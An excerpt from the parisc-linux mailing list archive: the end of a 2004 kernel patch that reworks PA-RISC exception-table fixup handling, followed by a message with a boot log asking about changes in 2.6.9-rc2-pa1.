+"	copy	%%r0, %2\n"
+"4:	\n"
+"	.section .fixup,\"ax\"\n"
+"5:	ldi	-2, %2\n"
+	FIXUP_BRANCH(4b)
+"	.previous\n"
 #ifdef __LP64__
-"	.dword	1b,(4b-1b)\n"
-"	.dword  2b,(4b-2b)\n"
-"	.dword	3b,(4b-3b)\n"
-#else
-"	.word	1b,(4b-1b)\n"
-"	.word	2b,(4b-2b)\n"
-"	.word	3b,(4b-3b)\n"
+"	.dword	1b,5b\n"
+"	.dword  2b,5b\n"
+"	.dword	3b,5b\n"
+#else
+"	.word	1b,5b\n"
+"	.word	2b,5b\n"
+"	.word	3b,5b\n"
 #endif
 "	.previous\n"
 	: "=r" (valh), "=r" (vall), "=r" (ret)
@@ -296,15 +318,19 @@ static int emulate_sth(struct pt_regs *r
 "	extrw,u %1, 23, 8, %%r19\n"
 "1:	stb %1, 1(%%sr1, %2)\n"
 "2:	stb %%r19, 0(%%sr1, %2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -346,15 +372,19 @@ static int emulate_stw(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
 "	stw	%%r20,0(%%sr1,%2)\n"
 "	stw	%%r21,4(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -399,19 +429,23 @@ static int emulate_std(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
 "3:	std	%%r20,0(%%sr1,%2)\n"
 "4:	std	%%r21,8(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"5:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"5:	\n"
+"	.section .fixup,\"ax\"\n"
+"6:	ldi	-2, %0\n"
+	FIXUP_BRANCH(5b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(5b-1b)\n"
-"	.dword  2b,(5b-2b)\n"
-"	.dword	3b,(5b-3b)\n"
-"	.dword  4b,(5b-4b)\n"
-#else
-"	.word	1b,(5b-1b)\n"
-"	.word	2b,(5b-2b)\n"
-"	.word	3b,(5b-3b)\n"
-"	.word	4b,(5b-4b)\n"
+"	.dword	1b,6b\n"
+"	.dword  2b,6b\n"
+"	.dword	3b,6b\n"
+"	.dword  4b,6b\n"
+#else
+"	.word	1b,6b\n"
+"	.word	2b,6b\n"
+"	.word	3b,6b\n"
+"	.word	4b,6b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -438,21 +472,25 @@ static int emulate_std(struct pt_regs *r
 "3:	stw	%1,0(%%sr1,%1)\n"
 "4:	stw	%%r1,4(%%sr1,%3)\n"
 "5:	stw	%2,8(%%sr1,%3)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"6:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"6:	\n"
+"	.section .fixup,\"ax\"\n"
+"7:	ldi	-2, %0\n"
+	FIXUP_BRANCH(6b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(6b-1b)\n"
-"	.dword  2b,(6b-2b)\n"
-"	.dword	3b,(6b-3b)\n"
-"	.dword  4b,(6b-4b)\n"
-"	.dword  5b,(6b-5b)\n"
-#else
-"	.word	1b,(6b-1b)\n"
-"	.word	2b,(6b-2b)\n"
-"	.word	3b,(6b-3b)\n"
-"	.word	4b,(6b-4b)\n"
-"	.word  	5b,(6b-5b)\n"
+"	.dword	1b,7b\n"
+"	.dword  2b,7b\n"
+"	.dword	3b,7b\n"
+"	.dword  4b,7b\n"
+"	.dword  5b,7b\n"
+#else
+"	.word	1b,7b\n"
+"	.word	2b,7b\n"
+"	.word	3b,7b\n"
+"	.word	4b,7b\n"
+"	.word  	5b,7b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
Index: arch/parisc/lib/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/Makefile,v
retrieving revision 1.2
diff -u -p -r1.2 Makefile
--- arch/parisc/lib/Makefile	1 Jul 2004 18:30:36 -0000	1.2
+++ arch/parisc/lib/Makefile	13 Sep 2004 23:31:46 -0000
@@ -2,6 +2,6 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o
 
 lib-$(CONFIG_SMP) += debuglocks.o
Index: arch/parisc/lib/fixup.S
===================================================================
RCS file: arch/parisc/lib/fixup.S
diff -N arch/parisc/lib/fixup.S
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ arch/parisc/lib/fixup.S	13 Sep 2004 23:31:46 -0000
@@ -0,0 +1,84 @@
+/*
+ * Linux/PA-RISC Project (http://www.parisc-linux.org/)
+ *
+ *  Copyright (C) 2004  Randolph Chung <tausq@debian.org>
+ *
+ *    This program is free software; you can redistribute it and/or modify
+ *    it under the terms of the GNU General Public License as published by
+ *    the Free Software Foundation; either version 2, or (at your option)
+ *    any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program; if not, write to the Free Software
+ *    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+#include <linux/config.h>
+#include <asm/offsets.h>
+#include <asm/assembly.h>
+#include <asm/errno.h>
+
+#ifdef CONFIG_SMP
+	.macro  get_fault_ip t1 t2
+	addil LT'__per_cpu_offset,\t1
+	LDREG RT'__per_cpu_offset(\t1),\t1
+	/* t2 = smp_processor_id() */
+	mfctl 30,\t2
+	ldw TI_CPU(\t2),\t2
+#ifdef __LP64__
+	extrd,u \t2,63,32,\t2
+#endif
+	/* t2 = &__per_cpu_offset[smp_processor_id()]; */
+	LDREG,s \t2(\t1),\t2 
+	addil LT'per_cpu__exception_data,\t1
+	LDREG RT'per_cpu__exception_data(\t1),\t1
+	/* t1 = &__get_cpu_var(exception_data) */
+	add,l \t1,\t2,\t1
+	/* t1 = t1->fault_ip */
+	LDREG EXCDATA_IP(\t1), \t1
+	.endm
+#else
+	.macro  get_fault_ip t1 t2
+	/* t1 = &__get_cpu_var(exception_data) */
+	addil LT'per_cpu__exception_data,\t1
+	LDREG RT'per_cpu__exception_data(\t1),\t2
+	/* t1 = t1->fault_ip */
+	LDREG EXCDATA_IP(\t2), \t1
+	.endm
+#endif
+
+	.text
+
+	.export fixup_get_user_skip_1
+fixup_get_user_skip_1:
+	get_fault_ip %r1,%r8
+	ldo 4(%r1), %r1
+	ldi -EFAULT, %r8
+	bv %r0(%r1)
+	copy %r0, %r9
+
+	.export fixup_get_user_skip_2
+fixup_get_user_skip_2:
+	get_fault_ip %r1,%r8
+	ldo 8(%r1), %r1
+	ldi -EFAULT, %r8
+	bv %r0(%r1)
+	copy %r0, %r9
+
+	.export fixup_put_user_skip_1
+fixup_put_user_skip_1:
+	get_fault_ip %r1,%r8
+	ldo 4(%r1), %r1
+	bv %r0(%r1)
+	ldi -EFAULT, %r8
+
+	.export fixup_put_user_skip_2
+fixup_put_user_skip_2:
+	get_fault_ip %r1,%r8
+	ldo 8(%r1), %r1
+	bv %r0(%r1)
+	ldi -EFAULT, %r8
Index: arch/parisc/lib/lusercopy.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/lusercopy.S,v
retrieving revision 1.3
diff -u -p -r1.3 lusercopy.S
--- arch/parisc/lib/lusercopy.S	17 Jan 2004 06:39:24 -0000	1.3
+++ arch/parisc/lib/lusercopy.S	13 Sep 2004 23:31:46 -0000
@@ -53,6 +53,18 @@
 	mtsp        %r1,%sr1
 	.endm
 
+#ifndef __LP64__
+	.macro fixup_branch lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	/*
 	 * unsigned long
 	 * lcopy_to_user(void *to, const void *from, unsigned long n)
@@ -77,14 +89,16 @@ $lctu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lctu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lctu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -118,18 +132,20 @@ $lcfu_done:
 	copy        %r24,%r28
 	.exit
 
+	.section .fixup,"ax"
 2:      copy        %r24,%r23
 $lcfu_zero_loop:
 	addib,<>    -1,%r23,$lcfu_zero_loop
 	stbs,ma     %r0,1(%r26)
-	b           $lcfu_done
+	fixup_branch $lcfu_done
 	nop
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -159,14 +175,16 @@ $lciu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lciu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lciu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -201,16 +219,18 @@ $lsfu_exit:
 	nop
 	.exit
 
-3:      b           $lsfu_exit
+	.section .fixup,"ax"
+3:      fixup_branch $lsfu_exit
 	ldi         -EFAULT,%r28
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
@@ -239,14 +259,16 @@ $lclu_done:
 	copy        %r25,%r28
 	.exit
 
-2:      b $lclu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lclu_done
 	ldo        1(%r25),%r25
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -282,16 +304,18 @@ $lslen_nzero:
 	b           $lslen_done
 	ldo         1(%r26),%r26 /* special case for N == 0 */
 
-3:      b           $lslen_done
+	.section .fixup,"ax"
+3:      fixup_branch $lslen_done
 	copy        %r24,%r26    /* reset r26 so 0 is returned on fault */
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
Index: arch/parisc/mm/fault.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/fault.c,v
retrieving revision 1.1
diff -u -p -r1.1 fault.c
--- arch/parisc/mm/fault.c	29 Jul 2003 17:00:42 -0000	1.1
+++ arch/parisc/mm/fault.c	13 Sep 2004 23:31:46 -0000
@@ -36,6 +36,9 @@
 
 #define BITSSET		0x1c0	/* for identifying LDCW */
 
+
+DEFINE_PER_CPU(struct exception_data, exception_data);
+
 /*
  * parisc_acctyp(unsigned int inst) --
  *    Given a PA-RISC memory access instruction, determine if the
@@ -234,13 +237,16 @@ no_context:
 		fix = search_exception_tables(regs->iaoq[0]);
 
 		if (fix) {
+			struct exception_data *d;
+
+printk("applying fixup for 0x%lx, fixup at 0x%lx\n", regs->iaoq[0], fix->fixup & ~3);
 
-			if (fix->skip & 1) 
-				regs->gr[8] = -EFAULT;
-			if (fix->skip & 2)
-				regs->gr[9] = 0;
+			d = &__get_cpu_var(exception_data);
+			d->fault_ip = regs->iaoq[0];
+			d->fault_space = regs->isr;
+			d->fault_addr = regs->ior;
 
-			regs->iaoq[0] += ((fix->skip) & ~3);
+			regs->iaoq[0] = ((fix->fixup) & ~3);
 
 			/*
 			 * NOTE: In some cases the faulting instruction
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.13
diff -u -p -r1.13 uaccess.h
--- include/asm-parisc/uaccess.h	4 Feb 2004 18:24:55 -0000	1.13
+++ include/asm-parisc/uaccess.h	13 Sep 2004 23:31:47 -0000
@@ -54,16 +54,21 @@ extern int __put_user_bad(void);
 /*
  * The exception table contains two values: the first is an address
  * for an instruction that is allowed to fault, and the second is
- * the number of bytes to skip if a fault occurs. We also support in
- * two bit flags: 0x2 tells the exception handler to clear register
- * r9 and 0x1 tells the exception handler to put -EFAULT in r8.
- * This allows us to handle the simple cases for put_user and
- * get_user without having to have .fixup sections.
+ * the address to the fixup routine. We also support two bit flags: 
+ * 0x2 tells the exception handler to store the faulting address in
+ * r9 and 0x1 tells the exception handler to store the faulting
+ * insn in r8.
  */
 
 struct exception_table_entry {
 	unsigned long insn;  /* address of insn that is allowed to fault.   */
-	long skip;           /* pcoq skip | r9 clear flag | r8 -EFAULT flag */
+	long fixup;          /* fixup | r9 ior flag | r8 iir flag */
+};
+
+struct exception_data {
+	unsigned long fault_ip;
+	unsigned long fault_space;
+	unsigned long fault_addr;
 };
 
 #define __get_user(x,ptr)                               \
@@ -97,40 +102,32 @@ struct exception_table_entry {
 #ifdef __LP64__
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"	\
+		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"				\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
 #else
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.word\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
+		"\t.section __ex_table,\"aw\"\n"	\
+		 "\t.word\t1b,fixup_get_user_skip_1\n"	\
 		 "\t.previous"                          \
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
@@ -138,7 +135,7 @@ struct exception_table_entry {
 
 #define __put_user(x,ptr)                                       \
 ({								\
-	register long __pu_err __asm__ ("r8") = 0;		\
+	register long __pu_err __asm__ ("r8") = 0;      	\
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
@@ -172,21 +169,17 @@ struct exception_table_entry {
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
-		 "\t.previous"                              \
+		"\t.section __ex_table,\"aw\"\n"            \
+		"\t.dword\t1b,fixup_put_user_skip_1\n"	    \
+		"\t.previous"                               \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.dword\t1b,fixup_put_user_skip_1\n"	    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
@@ -194,10 +187,8 @@ struct exception_table_entry {
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,fixup_put_user_skip_1\n"	    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
@@ -205,49 +196,41 @@ struct exception_table_entry {
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,fixup_put_user_skip_1\n"      \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
-static inline void __put_kernel_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%0)\n"
-		"\n2:\tstw %2,4(%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
-
-}
-
-static inline void __put_user_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%%sr3,%0)\n"
-		"\n2:\tstw %2,4(%%sr3,%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
+#define __put_kernel_asm64(_x,ptr) do {		    	    \
+	u64 x = (u64)_x;				    \
+	u32 hi = x>>32;					    \
+	u32 lo = x&0xffffffff;				    \
+	__asm__ __volatile__ (				    \
+		"\n1:\tstw %2,0(%1)\n"			    \
+		"\n2:\tstw %3,4(%1)\n"			    \
+		"\t.section __ex_table,\"aw\"\n"	    \
+		 "\t.word\t1b,fixup_put_user_skip_2\n"	    \
+		 "\t.word\t2b,fixup_put_user_skip_1\n"	    \
+		 "\t.previous"				    \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err)); \
+} while (0)
 
-}
+#define __put_user_asm64(_x,ptr) do {		    	    \
+	u64 x = (u64)_x;				    \
+	u32 hi = x>>32;					    \
+	u32 lo = x&0xffffffff;				    \
+	__asm__ __volatile__ (				    \
+		"\n1:\tstw %2,0(%%sr3,%1)\n"		    \
+		"\n2:\tstw %3,4(%%sr3,%1)\n"		    \
+		"\t.section __ex_table,\"aw\"\n"	    \
+		 "\t.word\t1b,fixup_get_user_skip_2\n"	    \
+		 "\t.word\t2b,fixup_get_user_skip_1\n"	    \
+		 "\t.previous"				    \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err)); \
+} while (0)
 
 #endif /* !__LP64__ */
 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.9-rc2-pa1: what did I missed?
Date: Tue, 14 Sep 2004 18:33:49 +0000
Lines: 120
Approved: news@gmane.org
Message-ID: <4147398D.503@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623557 11064 80.91.229.3 (22 Nov 2014 02:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12813 invoked by uid 65534); 14 Sep 2004 18:32:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 14 Sep 2004 20:32:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0BC183BDFF; Tue, 14 Sep 2004 12:32:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31021-06; Tue, 14 Sep 2004 12:32:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9AA2C3BDF8; Tue, 14 Sep 2004 12:32:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 152803BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 12:31:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31007-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 12:31:55 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 37EF73BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 12:31:54 -0600 (MDT)
Original-Received: from [83.134.225.131] (helo=[83.134.225.131])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C7I5o-0006fQ-3T; Tue, 14 Sep 2004 20:31:52 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21989

Hello pa*,

on my c110, I used to get usefull info during the boot as follow:

Selected kernel: /vmlinux-2.6.8.1-pa7 from partition 3
ELF32 executable
Entry 00100338 first 00100000 n 2
Segment 0 load 00100000 size 3081408 mediaptr 0x1000
Segment 1 load 003f1000 size 946192 mediaptr 0x2f2000
Branching to kernel entry point 0x00100338. If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.8.1-pa7 (root@hpalin) (gcc version 3.3.4 (Debian 1:3.3.4-9)) 4
FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0a
vers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/777/C110
Total Memory: 512 Mb
LED display at f0190001 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists
Kernel command line: root=/dev/md2 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=7
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
Memory: 524288k available
Calibrating delay loop... 119.60 BogoMIPS
Security Scaffold v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Brought up 1 CPUs
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
2. SkyHawk 100/120 FW-SCSI at 0xf3f8c000 [8/12] { 4, 0x0, 0x01f, 0x00089 }
3. Raven T' Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x032, 0x00081 },  addition
4. Raven T' Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x032, 0x00074 },
5. Raven T' Audio at 0xffd04000 [8/16/1] { 10, 0x0, 0x032, 0x0007b }
[...]
20. Raven 120 T' at 0xfffa0000 [32] { 0, 0x0, 0x58e, 0x00004 }
21. Memory at 0xfffb1000 [49] { 1, 0x0, 0x049, 0x00009 }
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM: cannot register misc device.
Enumerating EISA bus
